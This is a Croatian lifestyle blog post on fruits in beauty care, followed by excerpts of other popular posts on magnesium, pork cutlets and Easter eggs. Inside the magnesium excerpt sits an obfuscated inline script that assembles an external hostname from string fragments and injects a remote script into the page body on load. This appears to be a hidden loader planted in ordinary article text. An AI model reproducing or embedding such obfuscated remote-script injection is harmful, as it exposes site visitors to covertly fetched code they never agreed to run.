VOĆE U SLUŽBI LJEPOTE








Voće u službi ljepote 



Ananas, jagoda, lubenica i ostala voćna sočna ekipa često su sastavni dio beauty proizvoda koji vam osiguravaju zdravu i lijepu kožu i kosu. Evo pregleda koje vam voće pomaže u čemu.





Tropsko voće za prekrasan ten

Ananas, papaja, marakuja i ostali tropski plodovi puni su vrijednih nutrijenata kojima se posebno veseli vaša koža. Tu spadaju između ostalog vitamin A koji potiče regeneraciju kože kao i vitamin E koji je hidrira i štiti od oštećenja. Još dva vrhunska beauty pomagača su papain iz papaje i bromelain iz ananasa. Ovi enzimi nježno uklanjaju odumrle stanice kože te ostavljaju ten glatkim i lijepim.





Citrusi za snagu kože 

Limun, limeta, naranča, grejp poznati su po visokom udjelu vitamina C za koji već odavno znamo da jača imunitet i štiti nas od raznih bolesti. Vitamin C je neizostavan i u njezi kože jer je štiti od iritacija i štetnih utjecaja iz okoliša, daje joj sjaj, smanjuje pigmentacijske mrlje i usporava starenje kože.





Bobice za sjaj 

Maline, jagode, borovnice i kupine osim što su ukusan snack tijekom dana prepune su antioksidansa koji se bore protiv slobodnih radikala glavnih neprijatelja kože i sprječavaju gubitak sjaja. Bobice pomažu i u učvršćivanju kože te djeluju umirujuće što je idealno za osjetljivu i nadraženu kožu.






Lubenica kraljica hidratacije 

Ako imate suhu i dehidriranu kožu kojoj treba hidracijski boost onda su beauty proizvodi s lubenicom pun pogodak jer lubenica sadrži više od 90% vode. Osim toga ima i umirujući učinak na kožu, pa je savršeno rješenje ako ste malo pretjerali sa suncem.





Bananom protiv nepravilnosti 

Kora banane bogata je antioksidansima, cinkom i drugim sastojcima koji pomažu protiv akni i nečistoća. Zato se preporučuje nekoliko minuta trljati koru banane po problematičnim dijelovima kože.





Kokos za prekrasnu kosu 

Kokosova voda intenzivno hidrira, a ulje kokosa pruža dodatnu njegu. Koža i kosa postaju svilenkasto mekane, a zahvaljujući protuupalom djelovanju kokosovo ulje pomaže i protiv prištića. Ako imate masnu kožu ili tanku kosu izbjegavajte korištenje čistog kokosovog ulja.





Jabuka na dan tjera prištiće van 

Dobra stara jabuka pravi je beauty dragulj jer sadrži minerale kao što su magnezij i kalcij te vitamine A, B, C i E koji pozitivno djeluju na zdravlje i izgled kože. Pektin iz jabuke pomaže koži zadržati vlagu, a jabučni ocat odličan je za problematičnu kožu.






Pripremila: Ivana Matas 









Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više